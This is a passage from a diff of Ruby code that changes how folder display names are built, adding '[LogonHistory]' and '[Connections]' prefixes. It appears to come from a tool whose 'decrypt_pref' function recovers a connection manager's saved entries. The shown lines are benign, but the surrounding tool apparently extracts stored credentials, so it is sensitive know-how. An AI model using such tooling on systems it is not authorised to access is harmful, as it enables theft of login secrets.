the display name) result.each do |item| pitem = item - while pitem[:Parent] != '-1' + while pitem[:Parent] != '-1' && pitem[:Parent] != '-2' pitem = folders[pitem[:Parent]] if pitem.nil? print_error("Invalid parent: #{item[:Parent]}") @@ -209,6 +211,12 @@ def decrypt_pref(file_name) item[:DisplayName] = pitem[:DisplayName] + '/' + item[:DisplayName] end + if item[:Parent] == '-2' + item[:DisplayName] = '[LogonHistory]' + item[:DisplayName] + else + item[:DisplayName] = '[Connections]/' + item[:DisplayName] + end + # Remove fields used to build the display name item.delete(:Parent) item.delete(:Number)